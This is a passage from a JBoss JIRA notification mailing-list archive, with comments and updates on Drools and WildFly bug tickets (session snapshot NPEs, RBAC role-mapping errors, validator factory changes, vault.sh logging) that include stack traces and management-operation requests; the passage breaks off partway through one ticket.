    [ https://issues.jboss.org/browse/DROOLS-264?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805189#comment-12805189 ] 

Davide Sottara edited comment on DROOLS-264 at 9/17/13 1:39 PM:
----------------------------------------------------------------

Could you please post a reproducer?
Thanks
Davide
                
      was (Author: dsotty):
    Could you post a reproducer?
                  
> JPAKnowledgeService stops to work suddenly
> ------------------------------------------
>
>                 Key: DROOLS-264
>                 URL: https://issues.jboss.org/browse/DROOLS-264
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: PostgreSQL 8.4
> Linux Ubuntu
> JBoss 5.1.0
>            Reporter: Nedo Nedic
>            Assignee: Mark Proctor
>
> From time to time, while facts are being inserted into session and persisted in database, the following exception occurs.
> The session is no more updated because SQL sentences can't be executed anymore. Sometimes, when session is restored from marshalled snapshot the same error happens.
> 2013-09-17 11:17:03,959 ERROR [org.drools.persistence.jpa.JpaTimerJobInstance] Unable to execute timer job!
> java.lang.RuntimeException: Unable to load session snapshot
> 	at org.drools.persistence.SessionMarshallingHelper.loadSnapshot(SessionMarshallingHelper.java:96)
> 	at org.drools.persistence.SingleSessionCommandService.initKsession(SingleSessionCommandService.java:269)
> 	at org.drools.persistence.SingleSessionCommandService.execute(SingleSessionCommandService.java:369)
> 	at org.drools.persistence.jpa.JpaTimerJobInstance.call(JpaTimerJobInstance.java:34)
> 	at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:1)
> 	at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
> 	at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> 	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:98)
> 	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:207)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
> 	at java.lang.Thread.run(Thread.java:619)
> Caused by: java.lang.NullPointerException
> 	at org.drools.time.impl.JDKTimerService.removeJob(JDKTimerService.java:133)
> 	at org.drools.common.Scheduler.removeAgendaItem(Scheduler.java:75)
> 	at org.drools.common.DefaultAgenda.removeScheduleItem(DefaultAgenda.java:474)
> 	at org.drools.common.DefaultAgenda.removeActivation(DefaultAgenda.java:349)
> 	at org.drools.common.DefaultAgenda.cancelActivation(DefaultAgenda.java:687)
> 	at org.drools.reteoo.RuleTerminalNode.retractLeftTuple(RuleTerminalNode.java:320)
> 	at org.drools.reteoo.SingleLeftTupleSinkAdapter.doPropagateRetractLeftTuple(SingleLeftTupleSinkAdapter.java:224)
> 	at org.drools.reteoo.SingleLeftTupleSinkAdapter.propagateRetractLeftTuple(SingleLeftTupleSinkAdapter.java:98)
> 	at org.drools.reteoo.NotNode.propagateRetractLeftTuple(NotNode.java:444)
> 	at org.drools.reteoo.NotNode.assertObject(NotNode.java:142)
> 	at org.drools.reteoo.SingleObjectSinkAdapter.propagateAssertObject(SingleObjectSinkAdapter.java:59)
> 	at org.drools.reteoo.CompositeObjectSinkAdapter.propagateAssertObject(CompositeObjectSinkAdapter.java:364)
> 	at org.drools.reteoo.ObjectTypeNode.assertObject(ObjectTypeNode.java:235)
> 	at org.drools.reteoo.EntryPointNode.assertObject(EntryPointNode.java:240)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.assertHandleIntoOTN(ProtobufInputMarshaller.java:483)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.readFactHandles(ProtobufInputMarshaller.java:459)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.readSession(ProtobufInputMarshaller.java:259)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.readSession(ProtobufInputMarshaller.java:116)
> 	at org.drools.marshalling.impl.ProtobufMarshaller.unmarshall(ProtobufMarshaller.java:143)
> 	at org.drools.persistence.SessionMarshallingHelper.loadSnapshot(SessionMarshallingHelper.java:88)
> 	... 11 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 13:41:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Tue, 17 Sep 2013 13:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-202) RuntimeDroolsException
	appears randomly
In-Reply-To: <JIRA.12497233.1374662825000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497233.1374662825000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497233.1374662825000.31164.1379439663667@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-202?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805190#comment-12805190 ] 

Davide Sottara commented on DROOLS-202:
---------------------------------------

Were you able to create a test case?
Thanks
Davide
                
> RuntimeDroolsException appears randomly
> ---------------------------------------
>
>                 Key: DROOLS-202
>                 URL: https://issues.jboss.org/browse/DROOLS-202
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: JBoos 5.4
> Linux Ubuntu
> JDK 1.6
>            Reporter: Nedo Nedic
>            Assignee: Mark Proctor
>              Labels: Drools
>
> From time to time I see that the following exception is thrown when inserting facts into working memory. Full stack trace:
> org.drools.RuntimeDroolsException: Unexpected exception executing action org.drools.rule.SlidingTimeWindow$BehaviorExpireWMAction at 5f86946e
> 	at org.drools.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:979)
> 	at org.drools.common.NamedEntryPoint.insert(NamedEntryPoint.java:322)
> 	at org.drools.common.NamedEntryPoint.insert(NamedEntryPoint.java:298)
> 	at org.drools.common.AbstractWorkingMemory.insert(AbstractWorkingMemory.java:888)
> 	at org.drools.common.AbstractWorkingMemory.insert(AbstractWorkingMemory.java:847)
> 	at org.drools.impl.StatefulKnowledgeSessionImpl.insert(StatefulKnowledgeSessionImpl.java:269)
> 	at com.comp.impl.AbstractCorrelator.insertFact(AbstractCorrelator.java:297)
> 	at com.comp.impl.TemporalCorrelatorServiceImpl.insertFact(TemporalCorrelatorServiceImpl.java:72)
> 	at com.comp.impl.AbstractCorrelator.processMessage(AbstractCorrelator.java:467)
> 	at com.comp.jms.JmsMessageListenerImpl.onMessage(JmsMessageListenerImpl.java:75)
> 	at org.apache.activemq.ActiveMQMessageConsumer.dispatch(ActiveMQMessageConsumer.java:1088)
> 	at org.apache.activemq.ActiveMQSessionExecutor.dispatch(ActiveMQSessionExecutor.java:127)
> 	at org.apache.activemq.ActiveMQSessionExecutor.iterate(ActiveMQSessionExecutor.java:197)
> 	at org.apache.activemq.thread.PooledTaskRunner.runTask(PooledTaskRunner.java:122)
> 	at org.apache.activemq.thread.PooledTaskRunner$1.run(PooledTaskRunner.java:43)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
> 	at java.lang.Thread.run(Thread.java:619)
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.util.RightTupleIndexHashTable.remove(RightTupleIndexHashTable.java:372)
> 	at org.drools.reteoo.AccumulateNode.retractRightTuple(AccumulateNode.java:318)
> 	at org.drools.rule.SlidingTimeWindow.expireFacts(SlidingTimeWindow.java:185)
> 	at org.drools.rule.SlidingTimeWindow$BehaviorExpireWMAction.execute(SlidingTimeWindow.java:479)
> 	at org.drools.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:977)
> 	... 17 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 14:09:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 17 Sep 2013 14:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2099) Error when adding role
	assignment
In-Reply-To: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500862.1379434427000.31190.1379441343541@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2099?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805196#comment-12805196 ] 

Darran Lofthouse commented on WFLY-2099:
----------------------------------------

Following up with Heiko - the issue here is there is already an include entry for the same name, type, realm combination - this is why the subsequent add is failing.  As the value related to the include key is free text duplicates are not automatically detected - instead we need an additional OperationStepHandler at the end of stage model to verify no duplicates in the include or exclude list.

                
> Error when adding role assignment
> ---------------------------------
>
>                 Key: WFLY-2099
>                 URL: https://issues.jboss.org/browse/WFLY-2099
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>         Attachments: rbac-setup.txt
>
>
> When adding a role assigmment as 'administrator" i get this:
> This request
> {noformat}
> {
>     "address" => [
>         ("core-service" => "management"),
>         ("access" => "authorization"),
>         ("role-mapping" => "ADMINISTRATOR"),
>         ("include" => "user-administrator at ManagementRealm")
>     ],
>     "name" => "administrator",
>     "type" => "USER",
>     "realm" => "ManagementRealm",
>     "operation" => "add"
> }
> {noformat}
> ... leads to
> {noformat}
> [Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
> [Host Controller]     ("core-service" => "management"),
> [Host Controller]     ("access" => "authorization"),
> [Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
> [Host Controller]     ("include" => "user-administrator at ManagementRealm")
> [Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 14:21:03 2013
From: jira-events at lists.jboss.org (Farah Juma (JIRA))
Date: Tue, 17 Sep 2013 14:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1705) JPA persistence units make
 use of SerializableValidatorFactory instead of using the JNDI bound default
 ValidatorFactory
In-Reply-To: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496562.1373987171000.31197.1379442063563@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805197#comment-12805197 ] 

Farah Juma commented on WFLY-1705:
----------------------------------

I've verified that the Hibernate ORM component upgrade that was just merged into wildfly master (WFLY-2056) now allows my tests for WFLY-1705 to pass. (Hibernate ORM 4.3.0.Beta4 contains a fix for a bug I found related to org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl#withValidatorFactory. For more details, see https://hibernate.atlassian.net/browse/HHH-8492).

However, I'm now seeing 2 EJB failures in the WildFly testsuite. In particular, org.jboss.as.test.integration.ejb.remote.client.api.tx.EJBClientUserTransactionTestCase#testBatchOperationsInTx and org.jboss.as.test.integration.ejb.remote.client.api.tx.EJBClientXidTransactionTestCase#testClientTransactionManagement are failing as follows:

{code}
java.lang.RuntimeException: javax.transaction.
RollbackException: ARJUNA016053: Could not commit transaction.
        at org.jboss.ejb.client.remoting.RemotingConnectionEJBReceiver.sendCommit(RemotingConnectionEJBReceiver.java:366)
        at org.jboss.ejb.client.EJBClientUserTransactionContext$UserTransactionImpl.commit(EJBClientUserTransactionContext.java:128)
        at org.jboss.as.test.integration.ejb.remote.client.api.tx.EJBClientUserTransactionTestCase.testBatchOperationsInTx(EJBClientUserTransactionTestCase.java:168)
...
Caused by: javax.persistence.PersistenceException: error during managed flush
        at org.hibernate.jpa.spi.AbstractEntityManagerImpl$CallbackExceptionMapperImpl.mapManagedFlushFailure(AbstractEntityManagerImpl.java:1785)
        at org.hibernate.engine.transaction.synchronization.internal.SynchronizationCallbackCoordinatorImpl.beforeCompletion(SynchronizationCallbackCoordinatorImpl.java:118)
        at org.hibernate.engine.transaction.synchronization.internal.RegisteredSynchronization.beforeCompletion(RegisteredSynchronization.java:53)
        at com.arjuna.ats.internal.jta.resources.arjunacore.SynchronizationImple.beforeCompletion(SynchronizationImple.java:76)
        at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.beforeCompletion(TwoPhaseCoordinator.java:273)
        at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.end(TwoPhaseCoordinator.java:93)
...
Caused by: java.lang.IllegalStateException: JBAS016071: Singleton not set for ModuleClassLoader for Module &quot;org.wildfly.extension.io:main&quot; from local module loader @4b144220 (finder: local module finder @1f016962 (roots: /home/fjuma/Documents/wildfly/sept9wildfly/wildfly/testsuite/integration/basic/../../../build/target/wildfly-8.0.0.Beta1-SNAPSHOT/modules,/home/fjuma/Documents/wildfly/sept9wildfly/wildfly/testsuite/integration/basic/../../../build/target/wildfly-8.0.0.Beta1-SNAPSHOT/modules/system/layers/base,/home/fjuma/Documents/wildfly/sept9wildfly/wildfly/testsuite/integration/basic/target/modules)). 
This means that you are trying to access a weld deployment with a Thread Context ClassLoader that is not associated with the deployment.
        at org.jboss.as.weld.services.ModuleGroupSingletonProvider$TCCLSingleton.get(ModuleGroupSingletonProvider.java:75)
        at org.jboss.as.weld.services.ModuleGroupSingletonProvider$TCCLSingleton.get(ModuleGroupSingletonProvider.java:128)
        at org.jboss.weld.Container.instance(Container.java:65)
        at org.jboss.weld.bean.proxy.ContextBeanInstance.getInstance(ContextBeanInstance.java:75)
        at org.jboss.weld.bean.proxy.ProxyMethodHandler.invoke(ProxyMethodHandler.java:99)
        at org.jboss.weld.proxies.ValidatorFactory$618047133$Proxy$_$$_WeldClientProxy.usingContext(Unknown Source)
        at org.jboss.as.ee.beanvalidation.LazyValidatorFactory.usingContext(LazyValidatorFactory.java:89)
{code}

Note that the wrong ModuleClassLoader is being used for some reason now that JPA is using the EE LazyValidatorFactory instead of the JPALazyValidatorFactory. I'll continue looking into this to determine how to fix these failures. Interestingly, the same exception (i.e., "Singleton not set for ModuleClassLoader...This means that you are trying to access a weld deployment with a Thread Context ClassLoader that is not associated with the deployment") was also mentioned in a recent PR by Paul Ferraro: https://github.com/wildfly/wildfly/pull/5018. 
                
> JPA persistence units make use of SerializableValidatorFactory instead of using the JNDI bound default ValidatorFactory
> -----------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1705
>                 URL: https://issues.jboss.org/browse/WFLY-1705
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE, JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Hardy Ferentschik
>            Assignee: Farah Juma
>
> I think there is no need for {{SerializableValidatorFactory}}. _LazyValidatorFactory_ should be used at all times to also ensure that CDI injection works.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 14:50:03 2013
From: jira-events at lists.jboss.org (Chris Dolphy (JIRA))
Date: Tue, 17 Sep 2013 14:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2100) Vault.sh logging improvements
In-Reply-To: <JIRA.12500866.1379443771200@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500866.1379443771200@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500866.1379443771200.31226.1379443803438@jira02.app.mwc.hst.phx2.redhat.com>

Chris Dolphy created WFLY-2100:
----------------------------------

             Summary: Vault.sh logging improvements
                 Key: WFLY-2100
                 URL: https://issues.jboss.org/browse/WFLY-2100
             Project: WildFly
          Issue Type: Feature Request
          Components: Security
    Affects Versions: 8.0.0.Alpha4
            Reporter: Chris Dolphy
            Assignee: Darran Lofthouse
            Priority: Blocker


Several errors with vault.sh (ineractive Vault Tool) do not display enough information to debug.    

For example, "Exception occurred:PBOX000128: Unable to encrypt data".  It would be nice if there was some way to see the cause of this exception either with additional logging options, a verbose option or by default.  This one is caused by VaultInteraction.java only displaying the localized error message of the exception.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 16:21:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 16:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2013) SecurityContextInterceptor
 always uses doPrivilidged even when a security manager is not present
In-Reply-To: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500142.1378404490000.31276.1379449263452@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2013?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805206#comment-12805206 ] 

RH Bugzilla Integration commented on WFLY-2013:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1004919|https://bugzilla.redhat.com/show_bug.cgi?id=1004919] from MODIFIED to ON_QA
                
> SecurityContextInterceptor always uses doPrivilidged even when a security manager is not present
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2013
>                 URL: https://issues.jboss.org/browse/WFLY-2013
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>
> This is slow. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 16:23:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 16:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2009) IOException in aesh console
 initialization results in NPE
In-Reply-To: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500058.1378386266000.31279.1379449383524@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2009?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805207#comment-12805207 ] 

RH Bugzilla Integration commented on WFLY-2009:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1004714|https://bugzilla.redhat.com/show_bug.cgi?id=1004714] from MODIFIED to ON_QA
                
> IOException in aesh console initialization results in NPE
> ---------------------------------------------------------
>
>                 Key: WFLY-2009
>                 URL: https://issues.jboss.org/browse/WFLY-2009
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jan Martiska
>            Assignee: Jan Martiska
>             Fix For: 8.0.0.Beta1
>
>
> In source file org.jboss.as.cli.impl.Console, method Factory.getConsole:
> if the constructor call "new org.jboss.aesh.console.Console()" leads to an IOException, it is only logged and then ignored, always yielding a NullPointerException just a few lines later (console.addCompletion(new Completion() ...)
> I think the IOException should rather be rethrown wrapped in a CliInitializationException, so the resulting exception will not lose track of why this happened. Allowing a NPE go out of the internals is a wrong approach.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 16:37:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 17 Sep 2013 16:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2098) NPE when modifying an
 existing server-group scoped role
In-Reply-To: <JIRA.12500856.1379432201000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500856.1379432201000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500856.1379432201000.31296.1379450224002@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2098?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2098:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> NPE when modifying an existing server-group scoped role
> -------------------------------------------------------
>
>                 Key: WFLY-2098
>                 URL: https://issues.jboss.org/browse/WFLY-2098
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Harald Pehl
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> When modifiying an existing server-group scoped role using the console, I#m running intoan NPE at org.jboss.as.controller.access.constraint.ServerGroupEffectConstraint.setAllowedGroups(ServerGroupEffectConstraint.java:108)
> Relevant operation:
> {code}
> {
>     "operation" => "composite",
>     "address" => [],
>     "steps" => [
>         {
>             "address" => [
>                 ("core-service" => "management"),
>                 ("access" => "authorization"),
>                 ("server-group-scoped-role" => "main-DEPLOYER")
>             ],
>             "name" => "base-role",
>             "value" => "MAINTAINER",
>             "operation" => "write-attribute"
>         },
>         {
>             "address" => [
>                 ("core-service" => "management"),
>                 ("access" => "authorization"),
>                 ("server-group-scoped-role" => "main-DEPLOYER")
>             ],
>             "name" => "server-groups",
>             "value" => ["main-server-group"],
>             "operation" => "write-attribute"
>         }
>     ]
> }
> {code}
> Stacktrace
> {code}
> 17:23:59,102 ERROR [org.jboss.as.controller.management-operation] (host-controller-connection-threads - 1) JBAS014612: Operation ("write-attribute") failed - address: ([
>     ("core-service" => "management"),
>     ("access" => "authorization"),
>     ("server-group-scoped-role" => "main-DEPLOYER")
> ]): java.lang.NullPointerException
> 	at org.jboss.as.controller.access.constraint.ServerGroupEffectConstraint.setAllowedGroups(ServerGroupEffectConstraint.java:108) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.access.constraint.ServerGroupEffectConstraint.setAllowedGroups(ServerGroupEffectConstraint.java:108) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.access.ServerGroupScopedRoleWriteAttributeHandler.applyChangeToConstraint(ServerGroupScopedRoleWriteAttributeHandler.java:78) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.access.ServerGroupScopedRoleWriteAttributeHandler.applyUpdateToRuntime(ServerGroupScopedRoleWriteAttributeHandler.java:55) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractWriteAttributeHandler$1.execute(AbstractWriteAttributeHandler.java:101) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:609) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:487) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:258) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:143) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler.internalExecute(TransactionalProtocolOperationHandler.java:218) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$ExecuteRequestHandler.doExecute(TransactionalProtocolOperationHandler.java:130) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$ExecuteRequestHandler$1.run(TransactionalProtocolOperationHandler.java:109) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$ExecuteRequestHandler$1.run(TransactionalProtocolOperationHandler.java:105) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> 	at javax.security.auth.Subject.doAs(Subject.java:356) [rt.jar:1.7.0_17]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$GetSubjectResponseHandler$1$1.run(TransactionalProtocolOperationHandler.java:196) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$GetSubjectResponseHandler$1$1.run(TransactionalProtocolOperationHandler.java:192) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$GetSubjectResponseHandler$1.execute(TransactionalProtocolOperationHandler.java:192) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296) [wildfly-protocol-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518) [wildfly-protocol-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.1.Final.jar:2.1.1.Final]
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 16:37:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 17 Sep 2013 16:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2098) NPE when modifying an
 existing server-group scoped role
In-Reply-To: <JIRA.12500856.1379432201000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500856.1379432201000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500856.1379432201000.31299.1379450224175@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2098?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2098:
-----------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Bug)

    
> NPE when modifying an existing server-group scoped role
> -------------------------------------------------------
>
>                 Key: WFLY-2098
>                 URL: https://issues.jboss.org/browse/WFLY-2098
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Harald Pehl
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> When modifiying an existing server-group scoped role using the console, I#m running intoan NPE at org.jboss.as.controller.access.constraint.ServerGroupEffectConstraint.setAllowedGroups(ServerGroupEffectConstraint.java:108)
> Relevant operation:
> {code}
> {
>     "operation" => "composite",
>     "address" => [],
>     "steps" => [
>         {
>             "address" => [
>                 ("core-service" => "management"),
>                 ("access" => "authorization"),
>                 ("server-group-scoped-role" => "main-DEPLOYER")
>             ],
>             "name" => "base-role",
>             "value" => "MAINTAINER",
>             "operation" => "write-attribute"
>         },
>         {
>             "address" => [
>                 ("core-service" => "management"),
>                 ("access" => "authorization"),
>                 ("server-group-scoped-role" => "main-DEPLOYER")
>             ],
